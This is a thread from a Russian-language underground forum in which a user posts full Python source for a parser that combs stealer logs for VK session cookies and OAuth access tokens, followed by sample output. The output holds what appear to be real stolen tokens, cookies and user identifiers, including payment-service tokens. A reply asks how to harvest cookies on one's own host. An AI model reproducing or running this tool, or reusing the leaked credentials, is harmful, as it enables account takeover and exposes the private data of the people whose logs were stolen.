• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Python Парсер логов (cookie, token) для ВК

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Всем привет

Давненько не писал статьи, да и этот пост, собственно, не является чем-то обучающим. А суть вот в чем.

Завалялось на компьютере около 80-100 логов, которые здешние ребята раздают(за что им очередное спасибо). Решил для своих нужд написать парсер, который разбирает сookies для vk.com и записывает в удобные для меня структуры. Инструмент написан на коленке, за пару-тройку вечеров. Он не претендует на звание верного помощника, однако, мне сослужил отлично.

Из сотни логов (2245 файлов - ВСЕ txt+log) он достал 77 куки вк из которых 30 были полными(наличие полей: remixsid, remixstid, remixusid, l, p).
Валидными были всего три, но это уже не вина парсера, так как почти все логи с куками были пабликами.

Также дополнил код методом по сбору токенов(собрал 42, 10 из которых из oauth.vk.com)
Делюсь с вами исходником парсера, может кому-нибудь также как и мне будет полезно.

Опять таки, warning: разрабатывал под себя, не претендует на конкуренцию с программами-скриптами по этой тематике.
Код предоставляю с комментариями, должно быть все понятно. Список requirements пустой - все библиотеки стандартные.
Код:
import os
import json
import re
import argparse


# Класс по обработке логов
class LogParser:
    # проходит по всем файлам и папкам начиная с сatalog, возвращает список имен txt и log
    @staticmethod
    def find_log_files(catalog):
        # Список для результатов - все файлы txt и log
        log_files = []
        # Счетчик всех фалов
        all_files = 0
        # os.walk - проход по всем файлам и папкам
        for root, dirs, files in os.walk(catalog):
            all_files += len(files)
            # Добавляем к списку только "хорошие" имена файлов
            log_files += [os.path.join(root, filename) for filename in files if LogParser.good_log_file(filename)]
        # Выводим статистику на экран
        print(f'Всего файлов: {all_files}\nВзято в обработку: {len(log_files)}')
        return log_files

    # Проверяем подходит ли файл
    @staticmethod
    def good_log_file(filename):
        # В данной реализации валидируем только txt и log
        return 'log' in filename or 'txt' in filename

    # Функция по поиску простого вхождения искомой строки
    @staticmethod
    def find_line_in_logs(log_list, re_temp):
        # запоминать будем хорошие файлы(результаты поиска) и плохие(в выдаче будут файлы с нечитаемыми символами)
        find_list = []
        bad_files = []
        # обходим список
        for file in log_list:
            # читаем файл, если это возможно
            log = LogParser.read_log(file)
            # если прочитали
            if log:
                # то каждое вхождение запоминаем
                res_line = [line for line in log if re_temp in line]
                # если есть хотя бы одно
                if res_line:
                    # то добавляем в список найденного
                    find_list.append(res_line)
            else:
                # если не прочитали файл, то запоминаем его
                bad_files.append(file)
        # выводим статистику
        print(f'Не обработано файлов: {len(bad_files)}')
        # сохраняем ошибки в файл
        with open('bad_files.json', 'w') as bad_file:
            json.dump(bad_files, bad_file)
        return find_list

    # чтение файла
    @staticmethod
    def read_log(file):
        try:
            # пробуем открыть и запомнить список строк
            with open(file, 'r', encoding='utf-8') as log_file:
                lines = log_file.read().split('\n')
        except:
            # при ошибке возвращаем None
            lines = None
        return lines

    # парсим строки разделенные табуляцией - класические логи
    @staticmethod
    def parse_cookies(cookies_list):
        parse_list = []
        # для каждого текстового файла
        for cookies in cookies_list:
            current_list = {}
            # проходим по каждой строке
            for chunk in cookies:
                # запоминаем имя и значение кукисов
                if len(chunk.split('\t')) >= 2:
                    name, value = chunk.split('\t')[-2], chunk.split('\t')[-1]
                    name = LogParser.update_name(name, current_list)
                    current_list.update({name: value})
            # если нашли, то добавляем в общий список
            if current_list:
                parse_list.append(current_list)
        return parse_list

    # функция для запоминания дублирующегося имени кукиса в текущем списке
    @staticmethod
    def update_name(name, current_list):
        counter = 0
        first_name = name
        # пока имя кукиса есть в словаре, прибавляем к имени значение счетчика
        while name in current_list:
            name = f'{first_name}{counter}'
            counter += 1
        return name

    # запоминаем отдельно полные кукисы (со всеми полями want_name_list)
    @staticmethod
    def find_only_full(cookies, want_name_list):
        full_list = []
        # lля каждого кукиса
        for name in cookies:
            record = {}
            # Триггер наличия всех полей
            trigger_all = True
            # проходим по всем нужным полям
            for want_name in want_name_list:
                # если хотя бы одного нет, то ставим триггер на False
                if want_name not in name:
                    trigger_all = False
                else:
                    # иначе запоминаем текущее значение
                    record[LogParser.update_name(want_name, record)] = name[want_name]
            if trigger_all:
                # если все поля на месте, то добавляем в список
                full_list.append(record)
        return full_list


def find_vk_cookies(log_files):
    print('[VK Cookies]')
    # ищем все вхождения строки vk.com
    vk_cookies = LogParser.find_line_in_logs(log_files, 'vk.com')
    # парсим куки
    parse_vk = LogParser.parse_cookies(vk_cookies)
    # выделяем полные в отдельный список
    full_vk = LogParser.find_only_full(parse_vk, ['remixsid', 'remixusid', 'remixstid', 'l', 'p'])
    # выводим статистику
    print(f'Полных: {len(full_vk)} - vk-cookies-3-full.json\nВсего: {len(parse_vk)}')
    # сохраняем результаты в файлы
    with open('vk-cookies-1-raw.json', 'w') as res_file:
        json.dump(vk_cookies, res_file)
    with open('vk-cookies-2-parse.json', 'w') as res_file:
        json.dump(parse_vk, res_file)
    with open('vk-cookies-3-full.json', 'w') as res_file:
        json.dump(full_vk, res_file)


# ищем токены
def find_tokens(log_files):
    print('[TOKENS]')
    # ищем cтроку access_token
    tokens_list = LogParser.find_line_in_logs(log_files, 'access_token')
    # обнуляем все списки
    found_tokens, other_tokens, all_tokens_raw = [], [], []
    # для каждого списка токенов
    for tokens in tokens_list:
        # проходим по каждому токену
        for token in tokens:
            # добавляем в общий список
            all_tokens_raw.append(token)
            # ищем токены на подобии ВК
            found_token = re.search(r'access_token=(.*)&expires_in', token)
            # если найден
            if found_token:
                # то в отдельный список
                found_tokens.append(found_token.group(1))
            else:
                # иначе в список "другие"
                other_tokens.append(token)
    # убираем дубликаты токенов
    unique_tokens, other_tokens = list(set(found_tokens)), list(set(other_tokens))
    # выводим статистику
    print(f'Возможно ВК: {len(unique_tokens)} - tokens.json\nОстальных: {len(other_tokens)}')
    # сохраняем результаты в файлы
    with open('tokens.json', 'w') as res_file:
        json.dump(unique_tokens, res_file)
    with open('tokens-other.json', 'w') as res_file:
        json.dump(other_tokens, res_file)
    with open('tokens-all.json', 'w') as res_file:
        json.dump(all_tokens_raw, res_file)


def main(catalog):
    # генерируем список файлов
    log_files = LogParser.find_log_files(catalog)
    # ищем куки
    find_vk_cookies(log_files)
    # ищем токены
    find_tokens(log_files)


# функция по получению каталога из командной строки при запуске скрипта
def arg_parse_parameters():
    parser = argparse.ArgumentParser(description='log_parser')
    parser.add_argument('-p', '--path', action='store', type=str, default='')
    args = parser.parse_args()
    return args.path


if __name__ == '__main__':
    # получаем каталог
    path = arg_parse_parameters()
    # если путь задан
    if path:
        # то выполняем скрипт
        main(path)

Пример запуска:
python get_cookies.py -p='/home/gh0stage/Загрузки/logs'

Примеры вывода:
Код:
Всего файлов: 2245
Взято в обработку: 1612
[VK Cookies]
Не обработано файлов: 221
Полных: 30 - vk-cookies-3-full.json
Всего: 77
[TOKENS]
Не обработано файлов: 221
Возможно ВК: 12 - tokens.json
Остальных: 30

Полученные файлы:
JSON:
[
  "09dc1052540bc470f7ef9372e1d228303490f6ecc67f0f1da5483d422902a0e0b55c6c70d7444015cb7ba",
  "ya29.GlttBlXxodG419iGkmchMfMq1jr4lGDDtDclN0goiFivq0KFiyqXJlNujtLGfTw0nZ9--xeouvJTlOizUJCen2H4NwlNlLxmudC97MBOpTO-RLZRz4REMJ_m3q7k&token_type=Bearer"
]
JSON:
[
    "https://vk.durakplay.com/?api_url=https://api.vk.com/api.php&api_id=5083058&api_settings=262147&viewer_id=487935197&viewer_type=0&sid=d76aef8f023b13b92a73a407e67d0f1ae0bc06046af229efad184fce1239e3139ed7275ed2159328bcf9e&secret=34cb0898cf&access_token=84aeea5b3c52b484ca6909defa730bb9ccc84ac2b2e73739543671187225c839db50497b798c274f1c6ec&user_id=0&group_id=0&is_app_user=1&auth_key=57079723cebbd07c3fbda6fb4e1129db&language=0&parent_language=0&is_secure=1&stats_hash=2a38d2798a16db0b38&ads_app_id=5083058_6d5445232557b2ad57&api_result=%7B%22response%22%3A%7B%22user%22%3A%7B%22id%22%3A487935197%2C%22first_name%22%3A%22%D0%92%D0%BB%D0%B0%D0%B4%D0%B8%D1%81%D0%BB%D0%B0%D0%B2%22%2C%22last_name%22%3A%22%D0%A1%D0%B2%D0%B8%D1%80%D0%B8%D0%B4%D0%BE%D0%B2%22%2C%22photo_200%22%3A%22https%3A%5C%2F%5C%2Fpp.userapi.com%5C%2Fc846021%5C%2Fv846021453%5C%2Fd0be5%5C%2F3EEOudnsCvc.jpg%3Fava%3D1%22%2C%22photo_max%22%3A%22https%3A%5C%2F%5C%2Fpp.userapi.com%5C%2Fc846021%5C%2Fv846021453%5C%2Fd0be5%5C%2F3EEOudnsCvc.jpg%3Fava%3D1%22%7D%7D%7D&referrer=unknown&lc_name=d79f3e5b&hash=&forceRedirect",
    "https://secure.payonlinesystem.com/payment/avito_iframe/avito_iframe2/ok/?id=87681173&publicKey=26922aa8dab080cdda1cafaded6625a8&returnUrl=https%253a%252f%252fpayments.avito.ru%252freturn%252fsuccess%253faccess_token%253dIDQnolOCLbIMW8Wj25fY1nx33JD2MAMYKAJZIXQATrJBxh2Z8KgXBDf10GagWnsU4TiybnHlbRqdHaJkIT66Yii2RtiOt3K_Ixqf_9eG65RCYNKigTpE8ZsXybMCrfZ7#main",
]
JSON:
[
    "https://oauth.vk.com/close.html#access_token=1293b4acb2dee9191cf03f31ca828df3cac9a0fb7f183c73303ddb712f095b913fb40d320563e9799dd1a&expires_in=86400&user_id=218555864",
    "https://kassa.yandex.ru/grant-project-des-551/#access_token=AQAAAAAGRrhQAAVDBnLkNumEfktRtcBRkIZ3HcE&grant=undefined"
]
JSON:
[
    ".vk.com\tFALSE\t/\t0\t13184550509733801\tremixlhk\td9b3ae548cc67de02e",
    ".vk.com\tFALSE\t/\t0\t13184363346733802\tremixrefkey\tee18706ab6c0b38bf2",
    ".vk.com\tFALSE\t/\t0\t13187473264740585\tremixstid\t455809182_89df1a33335f9c886f"
]
JSON:
{
    "remixlang": "0",
    "remixstid": "0_a4ebb2ebb6b918adc5"
}
JSON:
{
    "remixsid": "80626bb90ceb249ee6bae47553b791922523a5bd799125234f177",
    "remixusid": "ODI2ZjAyMzQ0YWY3NzYzYWE1MDQ0YTY1",
    "remixstid": "1524628204_64da8c27974134ba05",
    "l": "468404021",
    "p": "0729416df8e895c9a59a3c86e63579444f93e7f9fb456020d6f36"
}
JSON:
[
    "/home/gh0stage/Загрузки/logs/part1/q5x5q3p5s6x5q3p5s6/Actions.txt"
]

Полученный код в прикрепленных файлах.
Продолжение: Получение токена из сессии
 

Вложения

  • get_cookies.py.zip
    2,9 KB · Просмотры: 185
Последнее редактирование:

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Добавил продолжение: Получение токена из сессии
 

frimen

Новичок
Сообщения
1
Реакции
0
0 руб.
Прикольная штука, а как собирать куки на своём хосте чтобы при переходе с вк их получить можно было чтобы потом вытаскивать?
 
Сверху Снизу